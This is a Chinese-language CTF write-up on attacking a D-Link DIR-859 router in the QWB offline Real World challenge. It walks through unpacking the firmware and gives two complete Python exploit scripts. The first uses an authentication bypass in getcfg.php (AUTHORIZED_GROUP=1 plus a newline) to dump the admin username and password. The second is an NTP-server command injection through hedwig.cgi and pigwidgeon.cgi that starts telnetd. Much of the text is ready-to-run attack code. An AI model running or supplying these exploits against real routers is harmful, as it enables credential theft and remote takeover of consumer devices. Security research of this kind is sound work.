0x00前言
今年强网杯线下只有PWN,Web狗觉得要来旅游了,不过看到Real World部分上来发了个D-Link路由器,还是决定玩一下,毕竟毕设中玩了不少路由器还是有点经验的。至于其他的题目,就只能看神仙打架了:P,膜手日Chrome、Qemu、各种CMS的大佬。
0x01题目
拿到一个D-Link DIR-859劲路由、串口调试设备和路由器固件。看到TTL转USB设备先去焊了会板子但我也不会在线调试栈溢出,就去解压固件了。注意这里binwalk和firmware-mod-kit不能直接解压,要先用dd切一下文件:
dd if=DIR859Ax_FW106b01_beta01_patch.bin of=DIR-859.img bs=1310868 skip=1 ./unsquashfs_all.sh DIR-859.img
可以看到版本是B-1.06,而官网最新的固件型号是B-1.05,这两个固件差不多,cgibin大小有点不同,考虑后面比对一下。题目要求是拿到路由器shell,打开telnet服务,并在/tmp目录下面写指定文件。
0x02初步分析
首先先去CVE搜一下,当然不出意外的是没有CVE漏洞,题目中也说明了是主办方挖出了漏洞,已经通报厂商,但是还没有修补,但是现在看来其历史漏洞也没有。
打开路由器管理页面,与DIR-8xxx系列一模一样的界面扑面而来,除了换了版本固件号之外都一样,COPYRIGHT也只是到2015。考虑用相近版本号的已知漏洞来测一下。

0x03漏洞利用
掏出之前DIR-868和DIR-817LW上用的exp,改一下先来读一下账密:
# -*- coding:utf-8 -*- import requests, os from lxml import etree from traceback import print_exc try: from urllib.parse import urljoin except: from urlparse import urljoin from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import re url = 'http://192.168.0.1' print("Exploit start...") #########################get user and pass########################### try: res = requests.post(urljoin(url,'/getcfg.php'),data={"SERVICES":"RUNTIME.WPS.WLAN-1","AUTHORIZED_GROUP":"1\n"}) # print(res.content) except: print("exploit fail...") print("you can try this command:") print("curl -k -d \"SERVICES=RUNTIME.WPS.WLAN-1&AUTHORIZED_GROUP=1%0a\" {}getcfg.php".format(url)) print(os.system("curl -k -d \"SERVICES=RUNTIME.WPS.WLAN-1&AUTHORIZED_GROUP=1%0a\" {}getcfg.php".format(url))) exit() if 'Not authorized' in res.content: print("authorize fail..") exit() elif "BAD REQUEST" in res.content: print("BAD REQUEST, unsupported HTTP request") try: name = re.findall("<name>(.*)</name>",res.content) passwd = re.findall("<password>(.*)</password>",res.content) print("name: %s\npasswd: %s\n"%(name[0],passwd[0])) except: print("fail...") print(res.content)
区别是DIR-868/817LW是通过读取DEVICE.ACCOUNT.xml.php文件来获取账密,DIR-859是要通过RUNTIME.WPS.WLAN-1.xml.php来获取,寻找过程就是把所有文件全读一遍再Ctrl+F就可以了。漏洞出现在POST传入AUTHORIZED_GROUP=1\n
可实现身份认证,通过getcfg.php
读取配置文件。
但是题目要求是要拿到shell,即还需要一个命令执行漏洞来开启telnet服务,找相近型号路由器,发现了DIR-850L命令执行漏洞,其中漏洞存在于/etc/services/DEVICE.TIME.php
中
#/etc/services/DEVICE.TIME.php 163 $enable = query("/device/time/ntp/enable"); 164 if($enable=="") $enable = 0; 165 $enablev6 = query("/device/time/ntp6/enable"); 166 if($enablev6=="") $enablev6 = 0; 167 $server = query("/device/time/ntp/server"); ... 172 if ($enable==1 && $enablev6==1) ... 184 'SERVER4='.$server.'\n'. ... 189 ' ntpclient -h $SERVER4 -i 5 -s -4 > /dev/console\n'.
其中$SERVER变量被拼接到了命令执行的字符串中,造成了命令注入。
下面的操作需要登陆,HNAP登陆过程有点小复杂,就没写,下面的脚本需要账密登陆后把cookie填进去
# -*- coding:utf-8 -*- import requests, os from lxml import etree from traceback import print_exc try: from urllib.parse import urljoin except: from urlparse import urljoin from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import re url = 'http://192.168.0.1/' print("Exploit continuing...") COMMAND = 'telnetd' uid = 'b8gh3GJptw' ###update it!!!!! session = requests.Session() session.verify = False session.cookies.update({"uid": uid}) ################get DEVICE.TIME############################### try: res = session.post(urljoin(url,'/getcfg.php'),data={"SERVICES":"DEVICE.TIME","AUTHORIZED_GROUP":"1\n"}) # print(res.content) tree = etree.fromstring(res.content) tree.xpath("//ntp/enable")[0].text = "1" tree.xpath("//ntp/server")[0].text = "metelesku; (" + COMMAND + ") & exit; " tree.xpath("//ntp6/enable")[0].text = "1" data = etree.tostring(tree) # print(data) except: print_exc() pass # exit() #################POST hedwig.cgi############################### print("hedwig") headers = {"Content-Type": "text/xml"} data = etree.tostring(tree) resp = session.post(urljoin(url, "/hedwig.cgi"), headers=headers, data=data) # print(resp.text) tree = etree.fromstring(resp.content) result = tree.findtext("result") if result.lower() != "ok": print("Failed!") print(resp.text) sys.exit() print("OK") ###############POST pigwidgeon.cgi############################## print("pigwidgeon") data = {"ACTIONS": "SETCFG,ACTIVATE"} resp = session.post(urljoin(url, "/pigwidgeon.cgi"), data=data) # print(resp.text) tree = etree.fromstring(resp.content) result = tree.findtext("result") if result.lower() != "ok": print("Failed!") print(resp.text) exit() print("OK")
这样就打开了路由器的telnet服务,可以telnet 192.168.0.1
登陆上去进行操作了。